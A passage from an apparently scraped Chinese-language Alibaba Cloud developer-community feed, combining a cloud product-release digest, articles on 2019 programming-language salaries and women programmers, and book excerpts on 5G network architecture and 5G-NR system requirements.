        • 等保合规:存储网站六个月以上的平台操作日志,助力网站符合等保合规要求。
        • 实时分析:依托日志服务产品,提供近实时日志分析能力、开箱即用的报表中心,让您对平台操作日志的分布及细节了如指掌。
        • 实时告警:支持基于特定指标定制近实时的监测与告警,确保在关键业务发生变更时能第一时间响应。
        ]]>
        【阿里云新品发布会】第32期:上云后,数据还安全吗? 基于OSS的云上统一数据保护2.0方案发布会-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 点击订阅新品发布会

        新产品、新版本、新技术、新功能、价格调整,评论在下方,下期更新!关注更多内容,了解更多

        云上存储数据保护2.0发布会

        “上云后,数据还安全吗”成为越来越多企业关注的问题。云上数据存储到底安全在哪里,面对不同的数据威胁如何应对,针对不同的数据保护需求又如何满足。11月15日15:30,云上存储数据保护2.0发布会,OSS的产品专家将为您逐层展开,告诉您如何打造云上数据保护体系,为您的业务保驾护航。

        test

        产品动态

        新版本:物联网无线连接服务 - 阿里云IOT硬件合约模组新增部分型号。查看产品 查看文档
        新增以下模组/成品公开售卖,以适应客户多模组购买的需求:

        • 刷脸升级组件
        • ASR套片
        • 蓝牙/单主机水控模组套装
        • 移远等模组

        价格调整:分析型数据库PostgreSQL版 - 分析型数据库 PostgreSQL 版华北3(张家口)区优惠降价25%。查看产品 查看文档
        分析型数据库 AnalyticDB for PostgreSQL (原HybridDB for PostgreSQL),基于开源数据库Greenplum构建,由阿里云深度扩展,支持标准 SQL 2003,高度兼容 Oracle 语法生态,既支持任意维度在线分析探索,也支持高性能离线数据处理,是各行业有竞争力的PB级实时数据仓库方案。

        • 分析型数据库 PostgreSQL 版华北3(张家口)优惠降价25%。

        价格调整:云数据库 MySQL 版 - MySQL 云盘实例全系列调价。查看产品 查看文档
        RDS for MySQL 云盘实例,相比本地盘实例实例提供数据三副本保存,数据可靠性极高。同时云盘支持数据落盘加密,安全性更高。最后云盘实例,单机版6TB存储空间,双机高可用版最大16TB存储空间,满足多样的业务需求。

        • RDS for MySQL 云盘实例全系列调价,最高降价幅度达50%

        价格调整:敏感数据保护 - 上线按量付费计费方式,调整部分计费单位。 查看文档
        敏感数据保护是一款发现,分级分类和保护云上敏感数据的阿里云安全服务。该服务从海量数据中自动发现,记录并分析客户在云上保存的敏感数据的使用情况,及时发现其使用是否存在安全违规并进行风险预警,帮助用户防止数据泄露和满足GDPR等合规要求。

        • 上线按量计费模式。
        • 数据库类型的数据源计费单元从库调整至表,单价:0.6元 / 张数据表。

        新功能:Elasticsearch - 阿里云ELK全新升级。 查看产品 查看文档

        • Elasticsearch、Logstash7.4 版本上线
        • Elasticsearch支持ESSD云盘存储:单节点最高6GB ESSD存储空间,供单盘高达100万的随机读写能力和单路低时延性能。具备低时延、快速响应、强大的数据吞吐量的特点,适用于时延敏感的应用或者I/O密集型业务场景。
        • Logstash 支持控制台管道config配置,无需关联Elasticsearch实例,简化您的pipeline创建、配置、部署步骤
        • Logstash支持云监控及自定义报警规则,开启云上运维监控
        • Logstash新增对象存储OSS input/output插件,支持阿里云OSS数据读写能力

        新功能:漏洞扫描 - 【ThinkCMF templateFile 远程代码执行漏洞】扫描插件发布。 查看产品 查看文档

        • 攻击者可以利用 ThinkCMF templateFile 远程代码执行漏洞实现内网渗透和敏感信息获取。请使用 ThinkCMF 的用户进行安全自查。

        最新发布

        金融级超级APP解决方案发布会

        金融业务的“移动化、场景化和智能化”是当前和未来⼀段时期的重要发展趋势。2019年11月13日15:00,阿里云金融级超级APP解决方案重磅发布,结合阿里经济体十余年移动端技术沉淀与运营方法论,致力于提供用户体验改进、数字化运营与营销、生态构建与技术研发效率提升的能力。为 App 开发、测试、运营及运维提供云到端的一站式解决方案,能有效减少研发成本、提升开发效率,助力实现移动端业务持续创新、数字化运营及生态建设。

        test

        技术解读

        1、挑战未来:下一代企业级应用数据库系统
        2、阿里巴巴叶军:政企数字化转型,现在是最重要的时机
        3、厦门航空牵手阿里云打造航空业移动研发中台,研发效率提升50%
        4、蚂蚁金服联合IDC发布《中国金融级移动应用开发平台白皮书》 金融机构加速执行移动优先战略
        5、威胁预警|Solr velocity模板注入远程命令执行已加入watchbog武器库,漏洞修补时间窗口越来越短

        扫描二维码加入钉钉群

        5555

        ]]>
        2019 全球编程语言高薪排行榜:Go 轻松达百万年薪,Java仅排第七-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 近日,Stack Overflow 发布了 2019 年的最新调查结果,总结了不同编程语言在行业中可能获得的薪水。当然,在这个过程中也需要关注一些其他因素,比如:语言对使用者是否友好,这有助于更快地学习语言;是否与现在的科技趋势相关。

        近日,Stack Overflow 发布了 2019 年的最新调查结果,总结了不同编程语言在行业中可能获得的薪水。当然,在这个过程中也需要关注一些其他因素,比如:语言对使用者是否友好,这有助于更快地学习语言;是否与现在的科技趋势相关。

        image.png

        如上图是全球前十大收入最高的编程语言排名,但根据调查,收入与地域之间也是有区别的,比如在美国,Scala 的收入最高,可以达到 143k 美元,其次是 Clojure(139k 美元)、Go(136k 美元)、Erlang(135k 美元)、Objective-C(132k 美元);在印度,Clojure 和 Rust 收入最高。

        工作经验与薪水 工作经验与薪酬肯定是相关的,但根据调查,有些编程语言无论工作经验多少,薪资都比较高好,而有些编程语言无论多少年工作经验都很一般。

        image.png

        如上图,红圈的大小不同代表着受访者人数的范围不同,横轴代表着工作经验(年数),纵轴代表着薪资中位数。

        不难看出,使用 Clojure、F#、Scala、Go、Rust 和 R 语言的开发人员,虽然工作经验并不见得非常多,尤其是 Rust、R、Ruby 和 Go,也会获得不少的薪水。然而,PHP、Java、C、C++,即使有多年开发经验,薪水也很难有比较高的提升。

        职位与薪水 当然,薪酬高低也与所从事的职业有非常大的关系。根据对全球四大 IT 市场的调查,DevOps 专家全部高居榜首,可见市场对这一技术的需求量有多大。除此之外,数据科学家、全栈工程师、嵌入式开发工程师、桌面开发人员的市场受欢迎度均较高。

        image.png

        如果按照职位来划分,薪水又会出现一些不同。管理岗位的薪水肯定会略高一些,其余基本与市场需求相对应,DevOps 专家的薪水可以达到 71k 美元,数据或者机器学习专家的薪水可以达到 61k 美元,全栈开发者的薪资为 57k 美元,后端开发者略低一些为 56k 美元。

        image.png

        中国热门编程语言收入情况

        国内整体的薪资水平要略低于全球,需求量较大的依旧是 Java、Python 这类语言。如果与全球薪资较高的编程语言比的话,如果对国内主流招聘网站进行统计,以“Go 语言”为关键字在全国范围搜索,热门地区(北上广深等需求量较大的城市)月薪基本集中在 15-30k 人民币之间,一线互联网大厂的薪酬确实更具竞争力,比如 BAT、高德、奇虎 360、滴滴等,不仅给出的月薪更高(25-60k 之间浮动),不少还明确标出可以给 14 至 16 个月的薪水,而所要求的工作经验基本都在 3 到 5 年。

        image.png

        至于 Scala 语言,整体薪水确实比 Go 语言略高一些,在没有筛选的情况下,首页出现的大部分薪资集中在 20-50k 之间,这一结果倒是与全球的调查报告相匹配。

        image.png

        此外,在国内几个招聘网站进行搜索,都没有找到太多有关 Clojure 的招聘需求,样本数量太少,很难判断这一岗位的薪资情况,但可以看出国内对此的需求极低,而 Clojure 在全球市场却可以占到薪资排行榜的第一名,这一结果倒还蛮出乎意料。

        国内对于 Rust 的招聘需求并不旺盛,可搜寻到的岗位不到 Go 语言的十分之一,只比 Clojure 好一些,基本是规模较大的企业对此才有招聘需求,比如今日头条、滴滴等,给出的薪资倒是还算优厚,月薪基本集中在 25k 人民币以上。

        image.png

        至于 DevOps,虽然国内可搜寻到的岗位不少,但薪资并没有太高,基本与 Go 语言的区间水平相当,要求具备 3 到 5 年工作经验的依旧是最普遍的。

        image.png

        如果回看 2018 年某招聘网站发布的统计数据,算法研究员和机器学习工程师在过去一年的平均月薪偏高,分别为 28435 元和 26798 元,架构师薪资最高为 29600 元。编程语言中,Go 语言的平均月薪最高为 22961 元,其次是 C++、Python、Java。

        image.png

        编程语言适用场景

        虽然薪水高低会成为影响开发人员是否选择的重要因素,但并不是唯一因素,不同编程语言的适用场景也是需要开发人员认真考虑的。

        Go

        Go 语言由谷歌开发,并于 2009 年 11 月发布。它是开源的,由于这个原因使得它在公司内部的不同项目中得到了积极应用,一些很有名的服务也使用 Go 语言开发,如 SoundCloud、Netflix 和 Dropbox。

        近年来 Go 语言受欢迎程度大大提高,还得益于 Go 语言下面的优势:

        支持多线程任务

        支持并行处理

        快速的启动时间

        高效的内存管理

        很多人都认为它将成为未来的服务器语言,Go 有一些很不错的特性:

        它非常简洁、简单和安全

        编译非常快

        它支持带有嵌入式类型的接口

        它不需要任何外部依赖关系来生成静态链接的本机二进制文件

        Kotlin

        Kotlin 编程语言是由 JetBrains IT 公司开发的,它已经成为 Android 的官方开发语言。这是在 2017 年谷歌开发者大会上宣布的。

        它有很多优点,如:

        易于理解的语法

        与 Java 兼容

        谷歌的支持

        快速增长的社区

        很有可能不久之后的 Android 应用程序完全使用 Kotlin 编写,所以如果想面向移动应用程序编程,应该考虑将 Kotlin 作为一个选择。

        Ruby(特别是 Rails)

        作为开发 web 应用程序的工具,Ruby 获得了广泛欢迎,并被用于开发全球很多流行产品的服务端部分。Ruby 语言的主要目的是创建强大的、易于理解的程序,其中最重要的不是程序运行的速度,而是开发时间。此外,代码的清晰性和简单性使 Ruby 非常受欢迎。

        Ruby 一些不错的特性有:

        一切都是对象

        模块——这些模块允许在运行时动态添加类层次结构的新元素

        代码开发

        动态类型

        鸭子类型

        代码质量

        Objective - C

        Objective-C 语言用于开发苹果生态系统中的应用程序,纯粹用于开发 Mac OS X 和 iOS。尽管出现了一种新的编程语言 Swift,,但 Objective-C 仍然是开发人员社区中非常流行的选择。

        此外,因为它与苹果的关系使其拥有一个非常高的需求市场。只要苹果“依赖”Objective-C,开发人员就会一直有市场,并可以获得丰厚的报酬。

        Objective-C 一些很好的特性有:

        类即对象——每个类都是一个元类的实例

        动态类型

        可选的静态类型

        动态运行时

        内省 introspection

        C#

        C#是微软公司 2000 年发布的现代、通用的面向对象的编程语言。2014 年,微软宣布.Net 平台全技术栈 (.NET Core) 开源并且将让.NET 运行在 Linux 和 MacOS 上,.NET Core 通过.NET Foundation(.NET 基金会)来与社区密切合作,并在未来改进.NET 。

        C# 的一大优点是相对简单,并且能够更多地关注算法而不是实现细节。目前,C# 被用于开发许多应用程序,从小型桌面程序到大型门户网站和人们日常使用的 Web 服务,并且 C#能够很好地在 Mac、Linux、Android 和 iOS 上运行。值得一提的是,Java 和 C#语法极其接近,因为它们都是由 C++ 发展而来的。

        C# 主要用于:

        Services——Windows /Linux 长时间运行的程序

        Web 应用程序——客户端 / 服务端应用程序

        窗口应用程序——运行在桌面上的应用程序

        Web 服务——通过 HTTP 提供服务的应用程序

        游戏——用 Unity 完成

        控制台应用程序——没有 UI 的应用程序

        APP–Xamarin 跨平台应用的技术

        机器学习和 AI ——构建智能.NET 应用程序

        Python

        大量的框架工具、培训材料、友好的社区支持、编码的简单性使其在 2019 年的高薪编程语言榜单上占有一席之地。Python 是目前使用最强大的编程语言之一。它用于:

        数学计算

        数据分析

        Web 开发

        机器学习

        任务自动化

        事实上 Youtube、Dropbox、Reddit 和 Google 等应用程序都是用 Python 开发的。

        Java

        很长一段时间以来,Java 编程语言一直是开发人员社区中需求最旺盛的语言之一。Java 主要用于开发银行和自动化测试中的产品。它的跨平台特性非常受欢迎,这是因为 JVM 的缘故。

        Java 是一种很有前途的编程语言。它被广泛地用于创建服务器和移动应用程序,还被用作开发 Android 本地应用程序。

        Java 可用于开发:

        移动应用程序

        网络应用程序

        桌面应用程序

        游戏

        数据库连接

        Swift

        Swift 是用于开发苹果平台应用程序的主要语言,主要应用于:

        MacOS

        iOS

        watchOS

        tvOS

        这是一种非常通用的编程语言,主要用于开发苹果产品。值得一提的是,它是在 5 年前(2014 年)刚发布。其主要和最突出的优点是速度:无论是运行还是启动应用程序。正是这种优势赋予了它这个名字,它的创造者说其吸收了其他语言的所有优势。

        本文转自infoQ
        原文链接:https://www.infoq.cn/article/Rg-VCsuCA5upWatyui2C?utm_source=infoq&utm_medium=article&utm_campaign=newinfoq&utm_content=language2019&utm_term=202

        ]]>
        2019 年女性程序员报告:掌握 C、Java 和 C++ 的人最多-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 根据 SlashData 的数据显示,全球女性开发者的人数与男性的比例为 1:10,换句话说,全球大概有 170 万女性开发者和 1700 万男性开发者,但是在较小的年龄维度中,女性开发者的比例更高。那么,这些年轻的女性开发者是如何进入到编程领域的?她们更偏爱哪些编程语言?择业标准是怎样的?…

        为了搞清楚这些问题,SurveyMonkey 和 HackerRank调查了来自 100 多个国家的 12211 名女性开发者,这些受访的女性开发者都来自 Z 世代(本报告中指的是 1997 年后出生的人)。与其它世代相比,Z 时代的女性几乎是互联网原住民,她们对于互联网技术和公司的想法更加独特。

        97 后女程序员是如何开始学习编程的?

        根据调查结果显示,三分之二的 97 后女程序员在 16 岁之前就已经学会了编程,而 97 前的女程序员中只有 18% 在 16 岁前学会了编程。这表明更多的女性在更小的年龄阶段接触到了编程。

        出现这种情况的主要原因是随着软件工程师需求的不断增长,很多学校都把编程作为了日常教学课程的一部分,同时也有一些教育机构开始教授少儿编程的课程。据了解,在英国和澳大利亚,对 5 岁以下的学生来说,编程基础知识已经成为了学校的必修课程。

        哪些编程语言是企业最需要的?

        image.png

        公司到底需要会哪些编程语言的程序员呢?根据调查结果显示,企业需求量最大的三种编程语言分别是 JavaScript、Java 和 Python。另外,C#、PHP 和 C++ 的占比也超过了 20%。

        image.png

        有了这样的市场需求,那么程序员的掌握情况如何呢?本次调查分别调查了男女程序员的编程语言掌握情况,其中男性程序员掌握前三的编程语言分别是 C、C++ 和 Java,而女性程序员掌握最多的三种编程语言分别是 C、Java 和 C++,虽然掌握最多的编程语言的类型相同,但是占比却有差异。另外,C 和 C++ 能够占据大部分份额,可能的原因是 C 和 C++ 是大家学习编程第一次接触到的编程语言。

        编程市场供需不平衡,程序员在努力缩小差距

        image.png

        如前文所述,企业需求量最大的编程语言是 JavaScript,59% 的招聘经理都在寻找掌握 JavaScript 的程序员。但是目前只有 50% 的受访女程序员了解 JavaScript,38% 的女程序员计划在今年学习 JavaScript。

        另外,企业对于 Go 语言和 C#的需求也很大,而现在掌握这两种编程语的女程序员远远不足。其中 42% 的受访者表示今年会学习 C#、34% 的受访者会在今年学习 Go 语言。

        女程序员的择业标准

        image.png

        在择业过程中,女程序员最看重该岗位的职业发展和学习成长,工作和生活的平衡也是岗位选择的重要参考因素。

        需要注意的是,97 后女程序员会比 97 前的女程序员更看重企业品牌,14% 的 Z 世代认为企业品牌很重要,而 97 前只有 7% 看重企业品牌。出现这种情况的重要原因是 Z 世代是网络原住民,他们人生中的大部分时间其实都被著名的互联网公司包围着,更向往进入这样的公司。

        针对薪酬,相比于其它人群,Z 世代女程序员表现的更为佛系,只有 16% 的受访者表示很重要。当然,这与 Z 世代不用承担家庭或者其它必备开销有关,她们能够更自由的选择职业。

        择业失败的重要原因是缺乏面试准备

        image.png

        在择业时,最大的失败原因是什么呢?根据调查结果显示,70% 左右的失败原因是缺乏面试经验,45% 左右的失败原因是准备不足。

        因为 Z 世代是刚刚踏入社会接触工作,所以没有工作经验和面试经验是正常现象,66% 的应届毕业生表示他们根本没有接受面试的准备。

        硅谷吸引力正在减弱,她们向往的“新硅谷”是这里

        硅谷一直是全球程序员的朝圣之地,但是在对 Z 世代女程序员的调查中发现,她们对于硅谷的向往和热爱远远不及其它世代的程序员。Z 世代女程序员对硅谷的关心下降主要原因可能是生活成本的问题,另外,有很多公司也因为各种问题从硅谷搬出来了。

        那么,哪些地方是这些女程序员的“新宠”呢?

        image.png

        根据调查结果显示,亚太地区的女程序员认为 Bengaluru(印度第五大城市,被誉为“亚洲硅谷”)会在 5 年内成为新的技术中心。Bengaluru 是印度拥有创业公司最多的城市,同时也是世界初创公司数量 Top 3 的城市,且印度的软件开发人员正以飞快的速度增长,预计到 2023 年,印度将成为世界上拥有最多软件开发人员的国家。

        另外,北京和上海也榜上有名。根据 Crunchbase、中国货币网和 Pitchbook 等多个数据来源的调查和分析,2018 年中国对于初创企业的风险投资金额已经超过了美国硅谷及其它地区。

        本文转自:infoQ

        原文链接:https://www.infoq.cn/article/OXHmNG8Q30K7FylJZiWB

        ]]>
        物理架构和5G部署 | 5G移动无线通信技术》之十三 Fri, 02 May 2025 09:39:04 +0800 5G的功能架构和灵活性

        物理架构和5G部署

        13.1 部署赋能工具

        逻辑架构使我们可以制定接口和协议的技术规范,功能架构描述了如何将网络功能集成为完整系统。将功能分拆到物理架构中,对于实际的部署十分重要。网络功能映射 到物理节点需要优化全网成本和性能。在这个意义上,5G 需要和以前的几代技术采用相同的原理。但是,由于 5G 将引入 NFV 和 SDN 的概念,这需要我们重新考虑制定传统的协议栈的方法论。例如可以在网络功能之间而不是网络单元之间定义接口,功能之 间的接口不必是协议,而是软件接口。 引入 SDN 和 NFV 的思路主要是对核心网灵活性的需求推动的。但是,二者也被引 伸到 RAN 领域 [6]。图 3.8 展示了逻辑、功能、物理和协作架构的关系。
        image.png
        网络功能在网络功能池中编译。功能池实现数据处理和控制功能,使其可集中使用,包括接口信息、功能分类(同步和非同步)、分布选择,以及输入和输出的关系。在较高的层面,RAN 相关的功能可以分配到下列模块。

        • 中心管理设备包括主要的网络功能,主要部署在一些中央物理节点(数据中心), 典型的例子是运行环境和频谱管理。
        • 无线节点管理提供影响多个被选择的不同物理站址的无线节点(D-RAN 或者 Cloud-RAN)的功能。
        • 空中接口功能提供的功能直接和无线基站和终端的空中接口相关。
        • 可靠业务构成 1 是集成到业务流管理之中的中央控制面,也作为和其他构成模块的接口使用。这个功能用来评估超可靠链路的可用性,或者决定开通超可靠链接服务给需要超可靠或者极低时延的业务。

        灵活配置和控制模块的任务,是根据业务和运营商的需要,来实现功能有效集成。 将数据和控制的逻辑拓扑单元映射到物理单元和物理节点,同时配置网络功能和数据流, 如图 3.8 所示。因此,业务流管理的第一步是分析客户订制的业务的要求,并勾勒出网络传输该业务数据流的需求。来自第三方的业务需求(例如最小时延和带宽),可以包含在专有的 API 内。这些需求被发送给 5G 编排器和 5G SDN 控制器。5G 编排器负责建立或者实体化虚拟网络功能(VNF)、NF 或者物理网络中的逻辑单元。无线网络单元 (RNE)和核心网络单元(CNE)是逻辑节点,作为虚拟网络功能的宿主,或者硬件(非虚拟)平台。逻辑交换单元(SE)被分配给硬件交换机。为了充分满足一些同步网络功能需要的性能,RNE 将包括物理网络中的软件和硬件组合,特别是在小基站和终端内。 因此,在无线接入网络中部署 VNF 的灵活性十分有限。
        由于大多网络功能的工作不需要和无线帧同步,因此对于空中接口的时钟要求并不 严格,CNE 允许更多的自由度来实现网络功能虚拟化。 
        5G SDN 控制器和 5G 编排器可以按照业务和运营商的需求,灵活地配置网元。 进而通过物理节点(用户面)建立数据流,并执行控制面功能,包括调度和切换 功能。
        从高层级来看,物理网络包括传输网络、接入网络和终端网络。传输网络实现数据中心之间通过高性能链接技术连接。传输网络站址(数据中心)容纳了处理大数据 流的物理单元,包括固定网络流量和核心网络功能。RNE 可能需要集中部署,实现 集中化基带处理(Cloud-RAN)。无线接入方面,4G 基站站址(有时称为 D-RAN) 与 Cloud-RAN 宿主站址共存,并通过前传与天线连接。换句话说,灵活的网络功能 布置,可以使传统的核心网络功能部署在更接近无线接口的位置。例如本地分流的 需求将会导致 RNE、SE 和 CNE 在无线接入站点共存。SDN 概念允许创建定制化的 虚拟网络,用于分享的资源池(网络切片)。虚拟网络可以用于实现多样化的业务, 实现优化网络资源分配的目的,例如 mMTC 和 MBB。这一技术也允许运营商分享 网络资源。
        受到某些制约,5G 架构将允许终端网络,即终端作为网络基础设施的一部分,帮 助其他终端接入网络,例如通过 D2D 通信,即使在这样的终端网络,RNE 也与 SE 和 CNE 共存。
        图 3.9 给出了将网络功能分配到逻辑节点的例子。
        image.png
        类型 2B(见第 5 章)的 D2D 网络功能在三个不同的逻辑节点互操作,包括终端、 基础设施节点和中心管理设备。赋能终端搜索的功能安排在终端和基础设施节点。终端 搜索功能基于终端在某些无线资源上的测量,D2D 搜索信号通过空中接口在这些资源上 发送。相关的基础设施节点执行终端分组,并且基于网络能力信息、业务需求和终端测 量报告进行资源分配。网络能力包括不同选项,例如由 D2D 通信和蜂窝基础设施分享 频率(underlay D2D),或者 D2D 通信和蜂窝基础设施分割频谱(overlay D2D)。搜索资 源分配由基础设施节点,根据负载状况和终端密度进行准备。终端需要发起基础设施或 者 D2D 模式的选择(模式选择)。在资源分配过程中,长期的无线资源和干扰管理决定 如何分配 D2D 资源。多运营商 D2D 可以采用专有的频谱资源实现带外 D2D 通信。在这 种情况下,需要集中运行的频谱控制器。在物理网络中,中心管理设备将会被部署在传 输网络的数据中心。其中逻辑基础设施位于接入网络,例如 Cloud-RAN 或者 D-RAN 的 位置。由于所有上述网络功能可以与无线帧异步工作,基础设施节点功能提供了潜在的 集中化的可能,这也意味着不是所有位于基站站址的 RNE 需要具备 D2D 检测和模式选 择功能。

        13.2 5G 灵活的功能分布

        物理层的架构决定了无线接入的一系列特点,例如网络密度、无线接入节点特性(尺寸、天线数量、发射功率)、传播特性、期望的用户终端数量、用户移动性特征和话务特征。

        物理架构也决定了无线接入节点和传输网络回传技术,它的构成可能是异构混合的方式, 由固网连接和无线接入组成。而且物理部署定义了面向核心网的技术和逻辑单元。所有 这些特点包含物理特性和限制,影响着功能和逻辑移动网络元素之间的互动。 根据数据速率、网络状态和业务构成,这些制约因素的影响和处理这些制约的方式 有所不同。 功能分拆选择和物理部署的条件紧密相关,例如,某个功能分拆决定了必须由物理 基础设施提供的逻辑接口,而物理设施往往带给逻辑接口限制条件。首先要考虑网络密 度,单位面积无线接入节点的数量越多,回传的流量越大。图 3.10 给出了支持基站数量 要求的回传速率和功能分拆的关系 [7]。
        image.png
        在 RAN 协议中,更高协议层的功能分拆,可以支持更多的接入点。分拆方式 A(见 图 3.5)中每个无线接入点具有静态的数据速率,而分拆方式 B 和 C,传输速率随着实 际用户速率的变化而变化。因此,这两个分拆方式可以获得传输网络的统计合成增益,增益可以高达 3 倍。 
        相对而言,分拆方式 A 为每个接入点提供相同的速率,速率不依赖于实际的负载, 因此无法获得复合增益。回传技术不仅决定了速率,也影响可以实现的端到端时延。分拆方式 A 需要光纤或者毫米波回传技术,可以采用波长变换或者菊花链毫米波链路。对于分拆方式 A 来说,低时延非常关键,这是由于物理传输是基于 CPRI 接口实现的,其时间和频率同步来自 CPRI 的数据流。分拆方式 B 和 C 可以承受较高的若干个毫秒的时延,这样允许使用上层交换技术,例如 MPLS 或者以太网。这样显著地提升了回传网络 的自由度。
        分拆方式 B 和 C 的区别是方式 B 执行中心编码和解码。 目前 3GPP LTE 中有严格的时钟要求,因为 Hybrid ARQ 进程需要在接收到码字之 后 3ms 内完成。如果回传的时延达到若干毫秒,就不可能达到这一要求。因此,要么 采取降低要求的替代办法 [17],要么 5G 移动网络必须足够灵活来调整时延的要求。尽管 如此,分拆方式 C(和内在的分拆方式 B)必须满足调度和链路自适应处理的时延需求。 后者的影响非常关键,因为不准确的信道信息导致次优的链路自适应,进而严重影响系 统性能 [18]。时延带来的影响主要来自用户移动和干扰时变特性。网络密度和用户密度都内在地影响网络功能的分拆和增益。假设每一个小区都要给大量用户提供服务,所有 的无线资源都被占用,小区间干扰将十分严重,必须通过协作算法克服。因此,在较低 RAN 协议层的功能分拆较优。这样的场景会在热点地区、体育场或者大型商场和机场之 类的室内部署时发生。相反,如果每小区的用户数较少,而用户的流量特征变化明显, 每小区被占用的资源就很低。这就增加了小区间干扰协作的自由度,比如高层功能分 拆和低层协作算法有同样的效果。最后需要说明,服务组合对于功能分拆和部署有重 要影响。 分拆方式A和B比分拆方式C提供了更多的优化机会,因为更多的功能由软件实现, 可以根据实际目的进行优化,见上述12.3 节的讨论。例如,分拆方式 B 允许不同的业务 采用不同的编码技术,如 MTC 采用块编码,MBB 业务采用 LDPC 编码。而且,分拆方式 B 允许联合解码算法来有效克服干扰。因此,如果可以预见较高的服务分集,就值得 提高集中部署的比例。然而,有些业务,比如交通流量监视需要在本地处理。因此,网 络或许需要选择集中部署的等级。下面的三个例子描述了不同的部署如何决定了网络功 能的布置。 3.4.2.1 利用光纤部署的广域覆盖 这里所有无线接入网络功能都集中部署,对传输网络的容量和时延提出了最强的要 求。但是由于所有的无线网络功能都在数据中心进行,可以和核心网络功能共址部署同时最大化协作分集增益,而且可以获得软件虚拟化增益。不仅如此,其他的 RAT 标 准可以根据在数据中心的具体实现,很容易集成起来。 但是,对于光纤的依赖也限制了灵活性和部署成本。例如,对于小基站,所有的节 点都需要由光纤或者视距(LOS)的毫米波回传技术连接。

        13.3 利用异构回传的广域覆盖

        这种部署采用不同的回传技术,如图 3.11 所示 [19]。根据实际可用回传链接和结构 的限制,包括多跳毫米波技术、非视距回传。这样混合的回传技术支持不同的集中部署等级。因此,多个无线接入点之间的协作能力和适应网络参数变化的灵活性可能改变。 例如,如果两个无线接入点将分别采用分拆方式 B 和 C。双方可以通过 ICIC 实现资源 协作,分拆方式 B 需要实现高级定制的编码算法。这一部署场景从资本开销的角度是优化的 [20],是大部分协作增益的来源,与传统方式相比降低了部署成本。但是,从许多其 他方面来看却挑战巨大,如无线接入点的协作、布局和规划数据处理单元、软件部署和 网络单元管理,例如,通过 SDN 进行的管理。
        image.png

        13.4 体育场本地网络

        体育场作为网络部署的一个典型案例,如图 3.12 所示,基础设施的拥有者是体育 场的运营方。类似的部署包括机场和购物中心。在这种情况下,场馆运营方提供多个 运营商必须共享的连接。而且,这些部署需要很好地规划来满足未来预期的容量需求。 最后,硬件部署与广域部署和热点部署十分类似,但是包括无线和核心网功能的软件 部署或许差异很大。例如,核心网功能可能被部署在体育场,提供本地业务(例如视 频流)。
        体育场作为网络部署的一个典型案例,如图 3.12 所示,基础设施的拥有者是体育 场的运营方。类似的部署包括机场和购物中心。在这种情况下,场馆运营方提供多个 运营商必须共享的连接。而且,这些部署需要很好地规划来满足未来预期的容量需求。 最后,硬件部署与广域部署和热点部署十分类似,但是包括无线和核心网功能的软件 部署或许差异很大。例如,核心网功能可能被部署在体育场,提供本地业务(例如视 频流)。

        总结

        下一代无线接入需要满足广泛的需求,未来网络设计的推动力来自于灵活性、延展 性和面向业务的管理。尽管不是直接地关联到 5G,NFV 和 SDN 技术将会相互补充,实 现这些基本的功能。 相对于 3G 或 4G 网络,5G 网络需要更快地响应市场变化。通过满足高级的要求, 例如 5G 和 LTE 演进共站部署,同时开通多 RAT 连接,高容量岛和超可靠无线连接都可 以在不需要额外的经济投入的条件下得以实现。灵活的网络功能部署促使功能更好地分 拆,满足服务要求、用户密度变化、无线传播条件和移动及流量构成,既要确保网络功 能之间通信的灵活性,又要限制需要标准化的接口来满足多厂商互操作的需要,二者的 平衡是系统设计的根本。

        ]]>
        第五代移动通信系统(5G-NR)的系统要求 | 带你读《5G-NR信道编码》之三 Fri, 02 May 2025 09:39:04 +0800 背景介绍

        1.1 前几代移动通信的演进

        | 1.2 第五代移动通信系统(5G-NR)的系统要求 |

        与前四代不同的是,5G 的应用十分多样化 [4],峰值速率和平均小区频谱效 率不再是唯一的要求。此外,体验速率、连接数、低时延、高可靠、高能效都 将成为系统设计的重要因素。应用场景也不止有广域覆盖,还有密集热点、机 器间通信、车联网、大型露天集会、地铁等,这也决定了 5G 中的技术是多元的。

        1.2.1 主要场景

        对于移动互联网用户,未来 5G 的目标是达到类似光纤速度的用户体验。而 对于物联网,5G 系统应该支持多种应用,如交通、医疗、农业、金融、建筑、电网、 环境保护等,其特点是海量接入。图 1-2 所示的是 5G 在移动互联网和物联网 上的一些主要应用。
        在物联网中,有关数据采集的服务包括低速率业务(读表)、高速率业务(视 频监控)等。读表业务的特点是海量连接、低成本终端、低功耗和小数据包;而视频监控不仅要求高速率,其部署密度也会很高。控制类有时延敏感的服务 (车联网)和不敏感的服务(家居生活中的各种应用)。
        image.png
        5G 的这些应用大致可以归为三大场景:增强的移动宽带(eMBB)、低时延高 可靠(URLLC)、海量物联网(mMTC)。数据流业务的特点是高速率,延迟可以 在 50 ~ 100 ms 之间;交互业务的时延在 5 ~ 10 ms 之间;现实增强和在线游戏 需要高清视频和几十毫秒的时延。预计到 2020 年,云存储将会汇集 30% 的数字 信息量。这意味着云与终端的无线互联网速率将达到光纤级别。低时延高可靠业务 包括对时延十分敏感的控制类物联网应用。海量物联网则包含众多应用,如低速采 集、高速采集、时延不敏感的控制类物联网等。
        宽带移动有多种部署场景,主要有:室内热点(Indoor Hotspot)、密集城 区环境(Dense Urban)、农村(Rural)和城区宏站(Urban Macro)。室内 热点部署主要关心的是,建筑物内高密度分布的用户的高速率体验、追求高的 系统吞吐、一致性的用户体验、每个节点的覆盖范围较小。密集城区部署可以 是同构网或者异构网,对象是城市中心和十分密集的街区。其特点是高的业务 负载、较好的室外和室内外的覆盖。这几种部署场景的特点可以列成如表 1-2 所示的表格。
        image.png
        image.png

        1.2.2 关键性能指标和评估方法

        5G 系统的关键性能指标(KPIs) [4] 包括峰值速率、峰值频谱效率、带宽、控 制面时延、用户面时延、非频发小包的时延、移动中断时间、系统间的移动性、可 靠性、覆盖、电池寿命、终端能效、每个扇区 / 节点的频谱效率、单位面积的业务 容量、用户体验速率、连接密度等。编码作为物理层的基本技术,将对 5G 系统的 各项性能指标起着直接和间接作用。

        • 峰值速率是当所有的无线资源分给一个链接,信道条件足以保证误码率 为 0 的条件下,除去同步信号、参考信号、频域保护带、时间保护间隔等开销, 理论上能达到的最高速率。下行的峰值速率指标是 20 Gbit/s,上行的峰值速率 指标是 10 Gbit/s。高的峰值速率要求解码器能在短时间内完成大数据块的译码 过程,这也意味着信道编码的译码算法复杂度不能过高,尤其在大码长、高码率的情形下。
